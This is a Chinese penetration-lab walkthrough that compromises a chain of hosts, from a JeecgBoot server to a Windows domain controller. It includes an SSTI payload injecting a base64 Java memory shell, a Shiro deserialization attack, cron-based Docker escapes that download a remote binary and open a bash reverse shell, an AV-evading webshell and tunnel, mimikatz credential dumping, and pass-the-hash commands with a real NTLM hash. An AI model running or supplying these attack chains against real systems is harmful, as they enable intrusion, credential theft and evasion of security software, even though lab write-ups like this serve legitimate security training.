wuxiang月挑战one
wuxian打靶记录—月挑战
入口机器10.10.0.3
使用多种扫描工具对其进行端口探测,指纹识别等来进行交叉验证
TscanPlus扫描:扫描结果如下:
ID | Host | Port | Protocol | Target | Banner | Code | Title | ||
---|---|---|---|---|---|---|---|---|---|
1 | 10.10.0.3 | 22 | SSH | 10.10.0.3:22 | OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 | 0 | |||
2 | 10.10.0.3 | 3306 | MYSQL | 10.10.0.3:3306 | MySQL 8.0.19 | 0 | |||
3 | 10.10.0.3 | 6379 | REDIS | 10.10.0.3:6379 | Redis key-value store 5.0.14 | 0 | |||
4 | 10.10.0.3 | 18080 | HTTP | http://10.10.0.3:18080 | APACHE-Shiro | 200 | DocToolkit | ||
5 | 10.10.0.3 | 18088 | HTTP | http://10.10.0.3:18088 | Apache-Tomcat | 404 | HTTP Status 404 – Not Found |
fscan扫描:结果如下
发现了弱口令:再使用tscan爆破模块进行交叉验证
确实存在mysql弱口令数据库暴露了出来,将初步收集到的信息进行保存
对http网站进行目录探测操作:
这里,可以利用多种爆破工具,在此出于方便,我直接利用tscanplus进行扫描
探测到如下一些信息:
http://10.10.0.3:18088/
:
可以发现一些关于:jeecg-boot
的一些信息,在这里打个?后面再对其进行深度分析和挖掘。
http://10.10.0.3:18080/
:
探测到如上目录:
可以发现:DocToolkit
依旧打个?后续对其进行深入研究和挖掘
mysql
弱口令root/root
直接利用navicat工具连接:
依旧发现了jeecg-boot
的行踪与上面相呼应。
10.10.0.3-积木报表 SSTI:
http://10.10.0.3:18088/jeecg-boot/
尝试查询相关历史漏洞进行利用:
直接利用这个One-fox里的jeecg-boot框架相关的工具对其进行漏洞探测
直接利用内置的工具进行rce
:
这个是java的ssti:具体cve漏洞为:CVE-2023-41544
手动复现如下
POC:
1 | POST /jeecg-boot/jmreport/loadTableData HTTP/1.1 |
尝试ssti打入内存马:
直接利用工具java-memshell-generator
生成base64编码生成后的内存马:
1 | yv66vgAAADEBsgEAK29yZy9hcGFj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BkgAfAAAAAAAOAZMA6AABAA4AAAAIAAMAnwCdAKEAKQBbAQcAAgAHAAACFwADAAkAAADKKsEAf5kACirAAH+nAAcqtgB9OgQBOgUZBDoGGQXHAGQZBsYAXyzHAEMZBrYBojoHAzYIFQgZB76iAC4ZBxUIMrYBoyu2AaaZABkZBxUIMrYBqr6aAA0ZBxUIMjoFpwAJhAgBp//QpwAMGQYrLLYA0ToFp/+pOgcZBrYBkDoGp/+dGQXHAAy7AJ9ZK7cBq78ZBQS2ANcqwQB/mQAaGQUBLbYA37A6B7sAmFkZB7YBrrcBr78ZBSottgDfsDoHuwCYWRkHtgGutwGvvwADACUAcgB1AJ8AnACjAKQAnQCzALoAuwCdAAMAHAAAAG4AGwAAAP4AFAD/ABcBAQAbAQIAJQEEACkBBgAwAQcAOwEIAFYBCQBdAQoAYAEHAGYBDQBpAQ4AcgESAHUBEAB3AREAfgESAIEBFACGARUAjwEXAJUBGACcARoApAEbAKYBHACzASAAuwEhAL0BIgAdAAAAegAMADMAMwFGAOYACAAwADYBlAGVAAcAdwAHAE0BlgAHAKYADQBNAZcABwC9AA0ATQGXAAcAAADKAXsAHwAAAAAAygGTAOgAAQAAAMoBmAGZAAIAAADKAZoBmwADABQAtgCqAKsABAAXALMBnACpAAUAGwCvAZ0AqwAGACsAAAAvAA4OQwcAf/4ACAcAfwcA0wcAf/0AFwcBngEs+QAFAghCBwCfCw1UBwCdDkcHAJ0ADgAAAAgAAwCfAKEAnQAIAbAAGQABAAcAAAAlAAIAAAAAAAm7AAJZtwGxV7EAAAABABwAAAAKAAIAAAApAAgAKgAA |
这是我生成的冰蝎内存马:
将编码后的内存马插入其中:
1 | {"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='这里填入base64的内存马';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();}; |
这里利用漏洞利用工具不能自动化打入内存马,于是自己尝试进行手工注入:
成功打入冰蝎内存马以后:
成功连接如下图:
10.10.0.3-Shiro 反序列化
http://10.10.0.3:18080/
成功拿到webshell以后发现有些命令没有,直接进行下一步的信息收集:
发现了DocToolkit 的源码,然后脱下来反编译
利用jadx工具
将jar包反编译:
翻阅成功获得shiro密钥
1 | QZIysgMYhG7/CzIJlVpR1g== |
打开one-fox内置的shiro反序列化利用工具
检测成功:
命令执行一手:
注入内存马:
192.168.80.50-Docker容器逃逸
可看的相关文章:
https://xz.aliyun.com/t/12495?time__1311=GqGxRQq7qeuDlrzQ0%3DGOjqLb%3DAKKG8IeD
上传了一波fscan对内网进行了一番扫描:
1 | [*] LiveTop 172.18.0.0/16 段存活数量为: 2 |
感觉有一些不对劲,怀疑是在docker容器内:
find / -name .dockerenv
发现确实存在!!
df -h
发现(查看文件系统信息)
基本确定就是在docker里面。
逃逸docker容器常用方法
- 内核漏洞:由于docker容器与物理机共享一个内核,当该内核存在内核漏洞时,在docker容器内利用内核漏洞可能直接获得物理机权限
- Docker API 未授权访问漏洞:当物理机的Docker API开启并同意未授权访问时,在Docker容器内可以使用Docker API新建一个Docker容器,并将物理机的根目录挂载到新Docker容器的某目录下。
- Docker容器以特权模式启动:当Docker容器以特权模式启动时,可以使用mount命令将物理机的根目录挂在道当前Docker容器的某目录下。
用CDK工具检测docker容器是否有不安全的配置或漏洞存在
CDK地址:https://github.com/cdk-team/CDK
查询cgroup进程:可以看出来就是docker环境了
查看容器环境变量:非docker环境下是默认没有输出的,再次确认是docker环境下
1 | /proc/1/environ |
内容如下:
1 | PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/binHOSTNAME=25313452973fFLAG=flag{N1c3_sHirO_fuCK}LANG=C.UTF-8JAVA_HOME=/usr/lib/jvm/java-1.8-openjdkJAVA_VERSION=8u212JAVA_ALPINE_VERSION=8.212.04-r0HOME=/rootLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64 |
上传cdk工具进行查询结果如下:
1 | chmod +x /tmp/cdk_linux_amd64 |
不过好像并无卵用,又或者说我还不太会用哈哈哈哈。
经过一番翻阅:
发现了挂载目录:/dev/tmp
发现挂载的是宿主机的目录
我们会发现其真实机的目录内容就在我们的这个docker容器内:所以往这个目录传即可:
挂载进行定时任务逃逸
1 | echo "*/1 * * * * root wget http://公网ip:9999/icon_54321.elf -o /tmp/qwert1234" > /dev/tmp/etc/cron.d/sysstat |
1 | echo "*/1 * * * * root chmod 755 /tmp/qwert1234" > /dev/tmp/etc/cron.d/sysstat |
1 | echo "*/1 * * * * root /tmp/qwert1234" > /dev/tmp/etc/cron.d/sysstat |
或者挂载进行定时任务反弹shell
1 | echo '*/1 * * * * root bash -c "bash -i >& /dev/tcp/公网IP/9999 0>&1" ' > /dev/tmp/etc/cron.d/sysstat |
等待一分钟 就收到shell了
当然你也可以直接在这里写一个shell脚本然后利用定时任务进行逃逸如下:不做过多演示。
成功反弹shell以后:我们发现了其的真实网卡:
逃逸到主机以后利用venom
工具先快捷搭建一个代理将自己代理进内网网段192.168.80.50/24
192.168.80.55-文件上传绕WAF
上传工具:fscan
,chfs
工具,利用fscan对其内网进行扫描
发现一台内网主机:192.168.80.55并且其开放了80端口
1 | ./fscan -h 192.168.80.0/24 |
成功挂入内网:
对其进行一手目录扫描:将扫描结果导出excel表格,发现敏感路径:/web.php这是一个文件上传的点:
经过一番测试,其是黑名单限制,不准许php后缀文件上传,并且对文件内容有限制,限制了一些敏感函数之类。
尝试上传.htaccess
1 | <FilesMatch "a.jpg"> |
尝试免杀webshell
1 |
|
之所以利用$_GET['id']
,是你利用assert($_POST[1])
是无法直接利用蚁剑连接,它的是eval($_POST[1])
才可以直接利用蚁剑连接。于是我直接利用assert($_GET['id'])
做一个转接口就可以成功连接蚁剑:如下
挂上代理成功连接!
查询其相关进程:
发现开启了火绒环境!
在这一层我一开始的是尝试用的venom
来搭建多级代理的,但是很显然直接,被kill掉了,我看别的师傅的wp是通过传入stowaway
来搭建的多级代理,我觉得可能是因为其一直维护到现在,相对来说比较新火绒没有对其进行拦截kill,但是这里我是通过免杀suo5直接搭建隧道到192.168.81.22
网段。
免杀代码如下:
suo.php
1 |
|
本地直接起了一个suo5客户端,直接通过http搭建了两个内网之间的隧道,而且通过了解可知,这个隧道的传输质量也是不错的
首先将代理写好如下:
1 | socks5://用户名:密码@公网IP:端口 |
成功搭建如下:
linux代理:
1 | ./suo5-linux-amd64 -t http://192.168.80.55/uploads/suo.php -l 0.0.0.0:7788 --proxy socks5://admin:ikvDbHGO@42.193.105.220:42584 |
借助这个代理可以成功访问:192.168.81.0/24网段
到达:http://192.168.81.20:7001
这里耐心等待:利用命令行启动java程序让其走,socks代理:socks5://127.0.0.1:1080
1 | G:\all_tools\One-fox\ONE-FOX集成工具箱_V8.2公开版_by狐狸\Java_path\Java_8_win\bin\java.exe -DsocksProxyHost=127.0.0.1 |
可参考文章:第12篇:给任意java程序挂Socks5代理方法_java socks5-CSDN博客
192.168.81.22-weblogic
检测到如下漏洞:如下
尝试一把梭,打入内存马
1 | 2024-12-12 10:37:04:哥斯拉4 Servlet内存马Payload已发送,请自行测试! |
最后一直没能成功,具体原因不太清楚(决定后面再仔细研究)。后面改用stowaway
来搭建多级代理,因为其火绒相对来说版本比较老,所以能达到一个过火绒的效果。
步骤如下:
1 | 公网ip上启动一个监听: |
这个代理成功之后是能够通过cve成功写入内存马的:
挂上代理成功连接:
拿到webshell以后,查询一下进程:
发现并没有杀软:
查看ip信息发现了一个新网段192.168.77.0/24
:
因为其权限给的是administrator
直接利用哥斯拉内置的mimikatz
来进行密码凭据抓取
1 | "privilege::debug" "sekurlsa::logonpasswords" "exit" |
1 | ok |
通过判断可以发现已经进入域内环境C3TING.ORG
。
尝试直接破解出明文密码,但是发现并不行。
192.168.77.250-PTH横向
对利用上传fscan
对网段进行扫描:
1 | C:/Users/Public/Downloads/fscanPlus_amd64.exe -h 192.168.77.0/24 -p 1-65535 -nobr -o C:/Users/Public/Downloads/out.txt |
扫描收集信息如下:
1 | 192.168.77.250:139 open |
发现一台存活主机192.168.77.250
:
对其再进行一波扫描:
1 | C:/Users/Public/Downloads/fscanPlus_amd64.exe -h 192.168.77.250 -o C:/Users/Public/Downloads/77_250.txt |
扫描结果如下:
1 | 192.168.77.250:88 open |
梳理综合一下上述的一些重要信息:
1 | DC: |
并且通过上述其开放的端口信息,我们可以直接通过:5985
,445
等端口直接打横向移动如下:
不过记得先想192.168.81.22机器上传一个stowaway工具搭建一个通向192.168.77.0/24
网段的隧道
这里我直接将代理端口设置到公网ip的12345端口上:
socks5://公网ip:12345
5985端口PTH横向:
1 | proxychains evil-winrm -i WIN-LAVRSND6J6N.c3ting.org -u administrator -H 7ab183888ecafcccf897c4a5a59c8568 |
成功横向。
445端口PTH横向:
1 | proxychains impacket-smbexec C3TING/administrator@192.168.77.250 -hashes :7ab183888ecafcccf897c4a5a59c8568 |
或
1 | proxychains impacket-psexec C3TING/administrator@192.168.77.250 -hashes :7ab183888ecafcccf897c4a5a59c8568 |
至此成功拿下全部主机。